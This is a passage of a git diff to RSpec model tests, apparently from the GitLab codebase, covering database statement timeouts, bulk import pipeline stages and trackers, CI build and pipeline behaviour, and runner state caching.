- expect(User.at_most(2).count).to eq(2)
- end
- end
-
describe '.where_exists' do
it 'produces a WHERE EXISTS query' do
user = create(:user)
@@ -107,4 +100,33 @@ RSpec.describe ApplicationRecord do
expect(User.where_exists(User.limit(1))).to eq([user])
end
end
+
+ describe '.with_fast_read_statement_timeout' do
+ context 'when the query runs faster than configured timeout' do
+ it 'executes the query without error' do
+ result = nil
+
+ expect do
+ described_class.with_fast_read_statement_timeout(100) do
+ result = described_class.connection.exec_query('SELECT 1')
+ end
+ end.not_to raise_error
+
+ expect(result).not_to be_nil
+ end
+ end
+
+ # This query hangs for 10ms and then gets cancelled. As there is no
+ # other way to test the timeout for sure, 10ms of waiting seems to be
+ # reasonable!
+ context 'when the query runs longer than configured timeout' do
+ it 'cancels the query and raises an exception' do
+ expect do
+ described_class.with_fast_read_statement_timeout(10) do
+ described_class.connection.exec_query('SELECT pg_sleep(0.1)')
+ end
+ end.to raise_error(ActiveRecord::QueryCanceled)
+ end
+ end
+ end
end
diff --git a/spec/models/audit_event_archived_spec.rb b/spec/models/audit_event_archived_spec.rb
deleted file mode 100644
index 43a2e8434b0..00000000000
--- a/spec/models/audit_event_archived_spec.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe AuditEventArchived do
- let(:source_table) { AuditEvent }
- let(:destination_table) { described_class }
-
- it 'has the same columns as the source table' do
- column_names_from_source_table = column_names(source_table)
- column_names_from_destination_table = column_names(destination_table)
-
- expect(column_names_from_destination_table).to match_array(column_names_from_source_table)
- end
-
- it 'has the same null constraints as the source table' do
- constraints_from_source_table = null_constraints(source_table)
- constraints_from_destination_table = null_constraints(destination_table)
-
- expect(constraints_from_destination_table.to_a).to match_array(constraints_from_source_table.to_a)
- end
-
- it 'inserts the same record as the one in the source table', :aggregate_failures do
- expect { create(:audit_event) }.to change { destination_table.count }.by(1)
-
- event_from_source_table = source_table.connection.select_one(
- "SELECT * FROM #{source_table.table_name} ORDER BY created_at desc LIMIT 1"
- )
- event_from_destination_table = destination_table.connection.select_one(
- "SELECT * FROM #{destination_table.table_name} ORDER BY created_at desc LIMIT 1"
- )
-
- expect(event_from_destination_table).to eq(event_from_source_table)
- end
-
- def column_names(table)
- table.connection.select_all(<<~SQL)
- SELECT c.column_name
- FROM information_schema.columns c
- WHERE c.table_name = '#{table.table_name}'
- SQL
- end
-
- def null_constraints(table)
- table.connection.select_all(<<~SQL)
- SELECT c.column_name, c.is_nullable
- FROM information_schema.columns c
- WHERE c.table_name = '#{table.table_name}'
- AND c.column_name != 'created_at'
- SQL
- end
-end
diff --git a/spec/models/blob_viewer/gitlab_ci_yml_spec.rb b/spec/models/blob_viewer/gitlab_ci_yml_spec.rb
index cd885d312dc..803614d90a5 100644
--- a/spec/models/blob_viewer/gitlab_ci_yml_spec.rb
+++ b/spec/models/blob_viewer/gitlab_ci_yml_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe BlobViewer::GitlabCiYml do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
+
let(:data) { File.read(Rails.root.join('spec/support/gitlab_stubs/gitlab_ci.yml')) }
let(:blob) { fake_blob(path: '.gitlab-ci.yml', data: data) }
let(:sha) { sample_commit.id }
diff --git a/spec/models/blob_viewer/metrics_dashboard_yml_spec.rb b/spec/models/blob_viewer/metrics_dashboard_yml_spec.rb
index 84dfc5186a8..8d5c7ce84f6 100644
--- a/spec/models/blob_viewer/metrics_dashboard_yml_spec.rb
+++ b/spec/models/blob_viewer/metrics_dashboard_yml_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe BlobViewer::MetricsDashboardYml do
include RepoHelpers
let_it_be(:project) { create(:project, :repository) }
+
let(:blob) { fake_blob(path: '.gitlab/dashboards/custom-dashboard.yml', data: data) }
let(:sha) { sample_commit.id }
let(:data) { fixture_file('lib/gitlab/metrics/dashboard/sample_dashboard.yml') }
diff --git a/spec/models/bulk_imports/entity_spec.rb b/spec/models/bulk_imports/entity_spec.rb
index 17ab4d5954c..652ea431696 100644
--- a/spec/models/bulk_imports/entity_spec.rb
+++ b/spec/models/bulk_imports/entity_spec.rb
@@ -125,68 +125,4 @@ RSpec.describe BulkImports::Entity, type: :model do
end
end
end
-
- describe "#update_tracker_for" do
- let(:entity) { create(:bulk_import_entity) }
-
- it "inserts new tracker when it does not exist" do
- expect do
- entity.update_tracker_for(relation: :relation, has_next_page: false)
- end.to change(BulkImports::Tracker, :count).by(1)
-
- tracker = entity.trackers.last
-
- expect(tracker.relation).to eq('relation')
- expect(tracker.has_next_page).to eq(false)
- expect(tracker.next_page).to eq(nil)
- end
-
- it "updates the tracker if it already exist" do
- create(
- :bulk_import_tracker,
- relation: :relation,
- has_next_page: false,
- entity: entity
- )
-
- expect do
- entity.update_tracker_for(relation: :relation, has_next_page: true, next_page: 'nextPage')
- end.not_to change(BulkImports::Tracker, :count)
-
- tracker = entity.trackers.last
-
- expect(tracker.relation).to eq('relation')
- expect(tracker.has_next_page).to eq(true)
- expect(tracker.next_page).to eq('nextPage')
- end
- end
-
- describe "#has_next_page?" do
- it "queries for the given relation if it has more pages to be fetched" do
- entity = create(:bulk_import_entity)
- create(
- :bulk_import_tracker,
- relation: :relation,
- has_next_page: false,
- entity: entity
- )
-
- expect(entity.has_next_page?(:relation)).to eq(false)
- end
- end
-
- describe "#next_page_for" do
- it "queries for the next page of the given relation" do
- entity = create(:bulk_import_entity)
- create(
- :bulk_import_tracker,
- relation: :relation,
- has_next_page: false,
- next_page: 'nextPage',
- entity: entity
- )
-
- expect(entity.next_page_for(:relation)).to eq('nextPage')
- end
- end
end
diff --git a/spec/models/bulk_imports/stage_spec.rb b/spec/models/bulk_imports/stage_spec.rb
new file mode 100644
index 00000000000..7765fd4c5c4
--- /dev/null
+++ b/spec/models/bulk_imports/stage_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Stage do
+ let(:pipelines) do
+ if Gitlab.ee?
+ [
+ [0, BulkImports::Groups::Pipelines::GroupPipeline],
+ [1, BulkImports::Groups::Pipelines::SubgroupEntitiesPipeline],
+ [1, BulkImports::Groups::Pipelines::MembersPipeline],
+ [1, BulkImports::Groups::Pipelines::LabelsPipeline],
+ [1, BulkImports::Groups::Pipelines::MilestonesPipeline],
+ [1, BulkImports::Groups::Pipelines::BadgesPipeline],
+ [1, 'BulkImports::Groups::Pipelines::IterationsPipeline'.constantize],
+ [2, 'BulkImports::Groups::Pipelines::EpicsPipeline'.constantize],
+ [3, 'BulkImports::Groups::Pipelines::EpicAwardEmojiPipeline'.constantize],
+ [3, 'BulkImports::Groups::Pipelines::EpicEventsPipeline'.constantize],
+ [4, BulkImports::Groups::Pipelines::EntityFinisher]
+ ]
+ else
+ [
+ [0, BulkImports::Groups::Pipelines::GroupPipeline],
+ [1, BulkImports::Groups::Pipelines::SubgroupEntitiesPipeline],
+ [1, BulkImports::Groups::Pipelines::MembersPipeline],
+ [1, BulkImports::Groups::Pipelines::LabelsPipeline],
+ [1, BulkImports::Groups::Pipelines::MilestonesPipeline],
+ [1, BulkImports::Groups::Pipelines::BadgesPipeline],
+ [2, BulkImports::Groups::Pipelines::EntityFinisher]
+ ]
+ end
+ end
+
+ describe '.pipelines' do
+ it 'list all the pipelines with their stage number, ordered by stage' do
+ expect(described_class.pipelines).to match_array(pipelines)
+ end
+ end
+
+ describe '.pipeline_exists?' do
+ it 'returns true when the given pipeline name exists in the pipelines list' do
+ expect(described_class.pipeline_exists?(BulkImports::Groups::Pipelines::GroupPipeline)).to eq(true)
+ expect(described_class.pipeline_exists?('BulkImports::Groups::Pipelines::GroupPipeline')).to eq(true)
+ end
+
+ it 'returns false when the given pipeline name exists in the pipelines list' do
+ expect(described_class.pipeline_exists?('BulkImports::Groups::Pipelines::InexistentPipeline')).to eq(false)
+ end
+ end
+end
diff --git a/spec/models/bulk_imports/tracker_spec.rb b/spec/models/bulk_imports/tracker_spec.rb
index 77896105959..0f00aeb9c1d 100644
--- a/spec/models/bulk_imports/tracker_spec.rb
+++ b/spec/models/bulk_imports/tracker_spec.rb
@@ -26,4 +26,60 @@ RSpec.describe BulkImports::Tracker, type: :model do
end
end
end
+
+ describe '.stage_running?' do
+ it 'returns true if there is any unfinished pipeline in the given stage' do
+ tracker = create(:bulk_import_tracker)
+
+ expect(described_class.stage_running?(tracker.entity.id, 0))
+ .to eq(true)
+ end
+
+ it 'returns false if there are no unfinished pipeline in the given stage' do
+ tracker = create(:bulk_import_tracker, :finished)
+
+ expect(described_class.stage_running?(tracker.entity.id, 0))
+ .to eq(false)
+ end
+ end
+
+ describe '.next_pipeline_trackers_for' do
+ let_it_be(:entity) { create(:bulk_import_entity) }
+ let_it_be(:stage_0_tracker) { create(:bulk_import_tracker, :finished, entity: entity) }
+
+ it 'returns empty when all the stages pipelines are finished' do
+ expect(described_class.next_pipeline_trackers_for(entity.id))
+ .to eq([])
+ end
+
+ it 'returns the not started pipeline trackers from the minimum stage number' do
+ stage_1_tracker = create(:bulk_import_tracker, entity: entity, stage: 1)
+ stage_2_tracker = create(:bulk_import_tracker, entity: entity, stage: 2)
+
+ expect(described_class.next_pipeline_trackers_for(entity.id))
+ .to include(stage_1_tracker)
+
+ expect(described_class.next_pipeline_trackers_for(entity.id))
+ .not_to include(stage_2_tracker)
+ end
+ end
+
+ describe '#pipeline_class' do
+ it 'returns the pipeline class' do
+ pipeline_class = BulkImports::Stage.pipelines.first[1]
+ tracker = create(:bulk_import_tracker, pipeline_name: pipeline_class)
+
+ expect(tracker.pipeline_class).to eq(pipeline_class)
+ end
+
+ it 'raises an error when the pipeline is not valid' do
+ tracker = create(:bulk_import_tracker, pipeline_name: 'InexistingPipeline')
+
+ expect { tracker.pipeline_class }
+ .to raise_error(
+ NameError,
+ "'InexistingPipeline' is not a valid BulkImport Pipeline"
+ )
+ end
+ end
end
diff --git a/spec/models/ci/artifact_blob_spec.rb b/spec/models/ci/artifact_blob_spec.rb
index 44f895cc1c5..c00f46683b9 100644
--- a/spec/models/ci/artifact_blob_spec.rb
+++ b/spec/models/ci/artifact_blob_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Ci::ArtifactBlob do
let_it_be(:project) { create(:project, :public) }
let_it_be(:build) { create(:ci_build, :artifacts, project: project) }
+
let(:entry) { build.artifacts_metadata_entry('other_artifacts_0.1.2/another-subdirectory/banana_sample.gif') }
subject { described_class.new(entry) }
diff --git a/spec/models/ci/bridge_spec.rb b/spec/models/ci/bridge_spec.rb
index f3029598b02..db956b26b6b 100644
--- a/spec/models/ci/bridge_spec.rb
+++ b/spec/models/ci/bridge_spec.rb
@@ -50,7 +50,7 @@ RSpec.describe Ci::Bridge do
CI_PROJECT_PATH_SLUG CI_PROJECT_NAMESPACE CI_PROJECT_ROOT_NAMESPACE
CI_PIPELINE_IID CI_CONFIG_PATH CI_PIPELINE_SOURCE CI_COMMIT_MESSAGE
CI_COMMIT_TITLE CI_COMMIT_DESCRIPTION CI_COMMIT_REF_PROTECTED
- CI_COMMIT_TIMESTAMP
+ CI_COMMIT_TIMESTAMP CI_COMMIT_AUTHOR
]
expect(bridge.scoped_variables.map { |v| v[:key] }).to include(*variables)
diff --git a/spec/models/ci/build_spec.rb b/spec/models/ci/build_spec.rb
index 5b07bd8923f..339dffa507f 100644
--- a/spec/models/ci/build_spec.rb
+++ b/spec/models/ci/build_spec.rb
@@ -585,6 +585,68 @@ RSpec.describe Ci::Build do
is_expected.to be_falsey
end
end
+
+ context 'with runners_cached_states feature flag enabled' do
+ before do
+ stub_feature_flags(runners_cached_states: true)
+ end
+
+ it 'caches the result in Redis' do
+ expect(Rails.cache).to receive(:fetch).with(['has-online-runners', build.id], expires_in: 1.minute)
+
+ build.any_runners_online?
+ end
+ end
+
+ context 'with runners_cached_states feature flag disabled' do
+ before do
+ stub_feature_flags(runners_cached_states: false)
+ end
+
+ it 'does not cache' do
+ expect(Rails.cache).not_to receive(:fetch).with(['has-online-runners', build.id], expires_in: 1.minute)
+
+ build.any_runners_online?
+ end
+ end
+ end
+
+ describe '#any_runners_available?' do
+ subject { build.any_runners_available? }
+
+ context 'when no runners' do
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when there are runners' do
+ let!(:runner) { create(:ci_runner, :project, projects: [build.project]) }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'with runners_cached_states feature flag enabled' do
+ before do
+ stub_feature_flags(runners_cached_states: true)
+ end
+
+ it 'caches the result in Redis' do
+ expect(Rails.cache).to receive(:fetch).with(['has-available-runners', build.project.id], expires_in: 1.minute)
+
+ build.any_runners_available?
+ end
+ end
+
+ context 'with runners_cached_states feature flag disabled' do
+ before do
+ stub_feature_flags(runners_cached_states: false)
+ end
+
+ it 'does not cache' do
+ expect(Rails.cache).not_to receive(:fetch).with(['has-available-runners', build.project.id], expires_in: 1.minute)
+
+ build.any_runners_available?
+ end
+ end
end
describe '#artifacts?' do
@@ -821,45 +883,6 @@ RSpec.describe Ci::Build do
{ cache: [{ key: "key", paths: ["public"], policy: "pull-push" }] }
end
- context 'with multiple_cache_per_job FF disabled' do
- before do
- stub_feature_flags(multiple_cache_per_job: false)
- end
- let(:options) { { cache: { key: "key", paths: ["public"], policy: "pull-push" } } }
-
- subject { build.cache }
-
- context 'when build has cache' do
- before do
- allow(build).to receive(:options).and_return(options)
- end
-
- context 'when project has jobs_cache_index' do
- before do
- allow_any_instance_of(Project).to receive(:jobs_cache_index).and_return(1)
- end
-
- it { is_expected.to be_an(Array).and all(include(key: "key-1")) }
- end
-
- context 'when project does not have jobs_cache_index' do
- before do
- allow_any_instance_of(Project).to receive(:jobs_cache_index).and_return(nil)
- end
-
- it { is_expected.to eq([options[:cache]]) }
- end
- end
-
- context 'when build does not have cache' do
- before do
- allow(build).to receive(:options).and_return({})
- end
-
- it { is_expected.to eq([]) }
- end
- end
-
subject { build.cache }
context 'when build has cache' do
@@ -1174,6 +1197,8 @@ RSpec.describe Ci::Build do
end
describe 'state transition as a deployable' do
+ subject { build.send(event) }
+
let!(:build) { create(:ci_build, :with_deployment, :start_review_app, project: project, pipeline: pipeline) }
let(:deployment) { build.deployment }
let(:environment) { deployment.environment }
@@ -1188,54 +1213,78 @@ RSpec.describe Ci::Build do
expect(environment.name).to eq('review/master')
end
- context 'when transits to running' do
- before do
- build.run!
+ shared_examples_for 'avoid deadlock' do
+ it 'executes UPDATE in the right order' do
+ recorded = ActiveRecord::QueryRecorder.new { subject }
+
+ index_for_build = recorded.log.index { |l| l.include?("UPDATE \"ci_builds\"") }
+ index_for_deployment = recorded.log.index { |l| l.include?("UPDATE \"deployments\"") }
+
+ expect(index_for_build).to be < index_for_deployment
end
+ end
+
+ context 'when transits to running' do
+ let(:event) { :run! }
+
+ it_behaves_like 'avoid deadlock'
it 'transits deployment status to running' do
+ subject
+
expect(deployment).to be_running
end
end
context 'when transits to success' do
+ let(:event) { :success! }
+
before do
allow(Deployments::UpdateEnvironmentWorker).to receive(:perform_async)
allow(Deployments::ExecuteHooksWorker).to receive(:perform_async)
- build.success!
end
+ it_behaves_like 'avoid deadlock'
+
it 'transits deployment status to success' do
+ subject
+
expect(deployment).to be_success
end
end
context 'when transits to failed' do
- before do
- build.drop!
- end
+ let(:event) { :drop! }
+
+ it_behaves_like 'avoid deadlock'
it 'transits deployment status to failed' do
+ subject
+
expect(deployment).to be_failed
end
end
context 'when transits to skipped' do
- before do
- build.skip!
- end
+ let(:event) { :skip! }
+
+ it_behaves_like 'avoid deadlock'
it 'transits deployment status to skipped' do
+ subject
+
expect(deployment).to be_skipped
end
end
context 'when transits to canceled' do
- before do
- build.cancel!
- end
+ let(:event) { :cancel! }
+
+ it_behaves_like 'avoid deadlock'
it 'transits deployment status to canceled' do
+ subject
+
expect(deployment).to be_canceled
end
end
@@ -2500,6 +2549,7 @@ RSpec.describe Ci::Build do
{ key: 'CI_COMMIT_DESCRIPTION', value: pipeline.git_commit_description, public: true, masked: false },
{ key: 'CI_COMMIT_REF_PROTECTED', value: (!!pipeline.protected_ref?).to_s, public: true, masked: false },
{ key: 'CI_COMMIT_TIMESTAMP', value: pipeline.git_commit_timestamp, public: true, masked: false },
+ { key: 'CI_COMMIT_AUTHOR', value: pipeline.git_author_full_text, public: true, masked: false },
{ key: 'CI_BUILD_REF', value: build.sha, public: true, masked: false },
{ key: 'CI_BUILD_BEFORE_SHA', value: build.before_sha, public: true, masked: false },
{ key: 'CI_BUILD_REF_NAME', value: build.ref, public: true, masked: false },
@@ -3620,10 +3670,10 @@ RSpec.describe Ci::Build do
end
describe 'state transition when build fails' do
- let(:service) { MergeRequests::AddTodoWhenBuildFailsService.new(project, user) }
+ let(:service) { ::MergeRequests::AddTodoWhenBuildFailsService.new(project, user) }
before do
- allow(MergeRequests::AddTodoWhenBuildFailsService).to receive(:new).and_return(service)
+ allow(::MergeRequests::AddTodoWhenBuildFailsService).to receive(:new).and_return(service)
allow(service).to receive(:close)
end
@@ -3708,7 +3758,7 @@ RSpec.describe Ci::Build do
subject.drop!
end
- it 'creates a todo' do
+ it 'creates a todo async', :sidekiq_inline do
project.add_developer(user)
expect_next_instance_of(TodoService) do |todo_service|
@@ -3741,6 +3791,7 @@ RSpec.describe Ci::Build do
describe '.matches_tag_ids' do
let_it_be(:build, reload: true) { create(:ci_build, project: project, user: user) }
+
let(:tag_ids) { ::ActsAsTaggableOn::Tag.named_any(tag_list).ids }
subject { described_class.where(id: build).matches_tag_ids(tag_ids) }
@@ -4192,6 +4243,7 @@ RSpec.describe Ci::Build do
describe '#artifacts_metadata_entry' do
let_it_be(:build) { create(:ci_build, project: project) }
+
let(:path) { 'other_artifacts_0.1.2/another-subdirectory/banana_sample.gif' }
around do |example|
diff --git a/spec/models/ci/build_trace_chunk_spec.rb b/spec/models/ci/build_trace_chunk_spec.rb
index 3d728b9335e..12bc5d9aa3c 100644
--- a/spec/models/ci/build_trace_chunk_spec.rb
+++ b/spec/models/ci/build_trace_chunk_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
include ExclusiveLeaseHelpers
let_it_be(:build) { create(:ci_build, :running) }
+
let(:chunk_index) { 0 }
let(:data_store) { :redis }
let(:raw_data) { nil }
diff --git a/spec/models/ci/daily_build_group_report_result_spec.rb b/spec/models/ci/daily_build_group_report_result_spec.rb
index 4e96ec7cecb..acc87c61036 100644
--- a/spec/models/ci/daily_build_group_report_result_spec.rb
+++ b/spec/models/ci/daily_build_group_report_result_spec.rb
@@ -86,6 +86,7 @@ RSpec.describe Ci::DailyBuildGroupReportResult do
describe 'scopes' do
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, group: group) }
+
let(:recent_build_group_report_result) { create(:ci_daily_build_group_report_result, project: project, group: group) }
let(:old_build_group_report_result) do
create(:ci_daily_build_group_report_result, date: 1.week.ago, project: project)
diff --git a/spec/models/ci/job_artifact_spec.rb b/spec/models/ci/job_artifact_spec.rb
index 796947be4c8..cdb123573f1 100644
--- a/spec/models/ci/job_artifact_spec.rb
+++ b/spec/models/ci/job_artifact_spec.rb
@@ -195,6 +195,22 @@ RSpec.describe Ci::JobArtifact do
end
end
+ describe '#archived_trace_exists?' do
+ subject { artifact.archived_trace_exists? }
+
+ context 'when the file exists' do
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when the file does not exist' do
+ before do
+ artifact.file.remove!
+ end
+
+ it { is_expected.to be_falsy }
+ end
+ end
+
describe '.for_sha' do
let(:first_pipeline) { create(:ci_pipeline) }
let(:second_pipeline) { create(:ci_pipeline, project: first_pipeline.project, sha: Digest::SHA1.hexdigest(SecureRandom.hex)) }
diff --git a/spec/models/ci/pipeline_schedule_spec.rb b/spec/models/ci/pipeline_schedule_spec.rb
index cec3b544e50..3e5fbbfe823 100644
--- a/spec/models/ci/pipeline_schedule_spec.rb
+++ b/spec/models/ci/pipeline_schedule_spec.rb
@@ -90,6 +90,18 @@ RSpec.describe Ci::PipelineSchedule do
end
end
+ describe '.owned_by' do
+ let(:user) { create(:user) }
+ let!(:owned_pipeline_schedule) { create(:ci_pipeline_schedule, owner: user) }
+ let!(:other_pipeline_schedule) { create(:ci_pipeline_schedule) }
+
+ subject { described_class.owned_by(user) }
+
+ it 'returns owned pipeline schedules' do
+ is_expected.to eq([owned_pipeline_schedule])
+ end
+ end
+
describe '#set_next_run_at' do
let(:pipeline_schedule) { create(:ci_pipeline_schedule, :nightly) }
let(:ideal_next_run_at) { pipeline_schedule.send(:ideal_next_run_from, Time.zone.now) }
diff --git a/spec/models/ci/pipeline_spec.rb b/spec/models/ci/pipeline_spec.rb
index d57a39d133f..b7f5811e945 100644
--- a/spec/models/ci/pipeline_spec.rb
+++ b/spec/models/ci/pipeline_spec.rb
@@ -40,6 +40,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
it { is_expected.to respond_to :git_author_name }
it { is_expected.to respond_to :git_author_email }
+ it { is_expected.to respond_to :git_author_full_text }
it { is_expected.to respond_to :short_sha }
it { is_expected.to delegate_method(:full_path).to(:project).with_prefix }
@@ -426,6 +427,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
subject { pipeline.legacy_detached_merge_request_pipeline? }
let_it_be(:merge_request) { create(:merge_request) }
+
let(:ref) { 'feature' }
let(:target_sha) { nil }
@@ -819,6 +821,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
CI_COMMIT_DESCRIPTION
CI_COMMIT_REF_PROTECTED
CI_COMMIT_TIMESTAMP
+ CI_COMMIT_AUTHOR
CI_BUILD_REF
CI_BUILD_BEFORE_SHA
CI_BUILD_REF_NAME
@@ -830,6 +833,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
let_it_be(:assignees) { create_list(:user, 2) }
let_it_be(:milestone) { create(:milestone, project: project) }
let_it_be(:labels) { create_list(:label, 2) }
+
let(:merge_request) do
create(:merge_request, :simple,
source_project: project,
@@ -1274,6 +1278,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
describe 'state machine' do
let_it_be_with_reload(:pipeline) { create(:ci_empty_pipeline, :created) }
+
let(:current) { Time.current.change(usec: 0) }
let(:build) { create_build('build1', queued_at: 0) }
let(:build_b) { create_build('build2', queued_at: 0) }
@@ -2277,6 +2282,35 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
)
end
end
+
+ context 'when method is scoped' do
+ let!(:commit_123_ref_master_parent_pipeline) do
+ create(
+ :ci_pipeline,
+ sha: '123',
+ ref: 'master',
+ project: project
+ )
+ end
+
+ let!(:commit_123_ref_master_child_pipeline) do
+ create(
+ :ci_pipeline,
+ sha: '123',
+ ref: 'master',
+ project: project,
+ child_of: commit_123_ref_master_parent_pipeline
+ )
+ end
+
+ it 'returns the latest pipeline after applying the scope' do
+ result = described_class.ci_sources.latest_pipeline_per_commit(%w[123], 'master')
+
+ expect(result).to match(
+ '123' => commit_123_ref_master_parent_pipeline
+ )
+ end
+ end
end
describe '.latest_successful_ids_per_project' do
@@ -2325,6 +2359,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
subject { pipeline.reload.status }
let_it_be(:pipeline) { create(:ci_empty_pipeline, :created) }
+
let(:build) { create(:ci_build, :created, pipeline: pipeline, name: 'test') }
context 'on waiting for resource' do
@@ -2633,6 +2668,37 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
expect(latest_status).to eq %w(canceled canceled)
end
end
+
+ context 'preloading relations' do
+ let(:pipeline1) { create(:ci_empty_pipeline, :created) }
+ let(:pipeline2) { create(:ci_empty_pipeline, :created) }
+
+ before do
+ create(:ci_build, :pending, pipeline: pipeline1)
+ create(:generic_commit_status, :pending, pipeline: pipeline1)
+
+ create(:ci_build, :pending, pipeline: pipeline2)
+ create(:ci_build, :pending, pipeline: pipeline2)
+ create(:generic_commit_status, :pending, pipeline: pipeline2)
+ create(:generic_commit_status, :pending, pipeline: pipeline2)
+ create(:generic_commit_status, :pending, pipeline: pipeline2)
+ end
+
+ it 'preloads relations for each build to avoid N+1 queries' do
+ control1 = ActiveRecord::QueryRecorder.new do
+ pipeline1.cancel_running
+ end
+
+ control2 = ActiveRecord::QueryRecorder.new do
+ pipeline2.cancel_running
+ end
+
+ extra_update_queries = 3 # transition ... => :canceled
+ extra_generic_commit_status_validation_queries = 2 # name_uniqueness_across_types
+
+ expect(control2.count).to eq(control1.count + extra_update_queries + extra_generic_commit_status_validation_queries)
+ end
+ end
end
describe '#retry_failed' do
@@ -2688,6 +2754,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
describe '#execute_hooks' do
let_it_be(:pipeline) { create(:ci_empty_pipeline, :created) }
+
let!(:build_a) { create_build('a', 0) }
let!(:build_b) { create_build('b', 0) }
@@ -3353,6 +3420,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
describe '#build_with_artifacts_in_self_and_descendants' do
let_it_be(:pipeline) { create(:ci_pipeline) }
+
let!(:build) { create(:ci_build, name: 'test', pipeline: pipeline) }
let(:child_pipeline) { create(:ci_pipeline, child_of: pipeline) }
let!(:child_build) { create(:ci_build, :artifacts, name: 'test', pipeline: child_pipeline) }
@@ -3780,6 +3848,26 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
end
+ describe '#uses_needs?' do
+ let_it_be(:pipeline) { create(:ci_pipeline) }
+
+ context 'when the scheduling type is `dag`' do
+ it 'returns true' do
+ create(:ci_build, pipeline: pipeline, scheduling_type: :dag)
+
+ expect(pipeline.uses_needs?).to eq(true)
+ end
+ end
+
+ context 'when the scheduling type is nil or stage' do
+ it 'returns false' do
+ create(:ci_build, pipeline: pipeline, scheduling_type: :stage)
+
+ expect(pipeline.uses_needs?).to eq(false)
+ end
+ end
+ end
+
describe '#total_size' do
let(:pipeline) { create(:ci_pipeline) }
let!(:build_job1) { create(:ci_build, pipeline: pipeline, stage_idx: 0) }
@@ -3814,6 +3902,16 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
pipeline.drop
end
end
+
+ context 'with failure_reason' do
+ let(:pipeline) { create(:ci_pipeline, :running) }
+ let(:failure_reason) { 'config_error' }
+ let(:counter) { Gitlab::Metrics.counter(:gitlab_ci_pipeline_failure_reasons, 'desc') }
+
+ it 'increments the counter with the failure_reason' do
+ expect { pipeline.drop!(failure_reason) }.to change { counter.get(reason: failure_reason) }.by(1)
+ end
+ end
end
end
@@ -3843,6 +3941,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
describe '#find_stage_by_name' do
let_it_be(:pipeline) { create(:ci_pipeline) }
+
let(:stage_name) { 'test' }
let(:stage) do
@@ -4128,6 +4227,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
subject { pipeline.base_and_ancestors(same_project: same_project) }
let_it_be(:pipeline) { create(:ci_pipeline, :created) }
+
let(:same_project) { false }
context 'when pipeline is not child nor parent' do
@@ -4164,6 +4264,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
context 'when pipeline is a child of a child pipeline' do
let_it_be(:pipeline) { create(:ci_pipeline, :created) }
+
let(:ancestor) { create(:ci_pipeline) }
let(:parent) { create(:ci_pipeline) }
@@ -4179,6 +4280,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
context 'when pipeline is a triggered pipeline' do
let_it_be(:pipeline) { create(:ci_pipeline, :created) }
+
let(:upstream) { create(:ci_pipeline, project: create(:project)) }
before do
diff --git a/spec/models/ci/runner_spec.rb b/spec/models/ci/runner_spec.rb
index ff3551d2a18..ffe0b0d0b19 100644
--- a/spec/models/ci/runner_spec.rb
+++ b/spec/models/ci/runner_spec.rb
@@ -353,6 +353,7 @@ RSpec.describe Ci::Runner do
using RSpec::Parameterized::TableSyntax
let_it_be(:pipeline) { create(:ci_pipeline) }
+
let(:build) { create(:ci_build, pipeline: pipeline) }
let(:runner_project) { build.project }
let(:runner) { create(:ci_runner, :project, projects: [runner_project], tag_list: tag_list, run_untagged: run_untagged) }
diff --git a/spec/models/ci/stage_spec.rb b/spec/models/ci/stage_spec.rb
index 0afc491dc73..e46d9189c86 100644
--- a/spec/models/ci/stage_spec.rb
+++ b/spec/models/ci/stage_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Ci::Stage, :models do
let_it_be(:pipeline) { create(:ci_empty_pipeline) }
+
let(:stage) { create(:ci_stage_entity, pipeline: pipeline, project: pipeline.project) }
it_behaves_like 'having unique enum values'
@@ -27,6 +28,18 @@ RSpec.describe Ci::Stage, :models do
end
end
+ describe '.by_name' do
+ it 'finds stages by name' do
+ a = create(:ci_stage_entity, name: 'a')
+ b = create(:ci_stage_entity, name: 'b')
+ c = create(:ci_stage_entity, name: 'c')
+
+ expect(described_class.by_name('a')).to contain_exactly(a)
+ expect(described_class.by_name('b')).to contain_exactly(b)
+ expect(described_class.by_name(%w[a c])).to contain_exactly(a, c)
+ end
+ end
+
describe '#status' do
context 'when stage is pending' do
let(:stage) { create(:ci_stage_entity, status: 'pending') }
diff --git a/spec/models/ci/test_case_failure_spec.rb b/spec/models/ci/test_case_failure_spec.rb
deleted file mode 100644
index 34f89b663ed..00000000000
--- a/spec/models/ci/test_case_failure_spec.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Ci::TestCaseFailure do
- describe 'relationships' do
- it { is_expected.to belong_to(:build) }
- it { is_expected.to belong_to(:test_case) }
- end
-
- describe 'validations' do
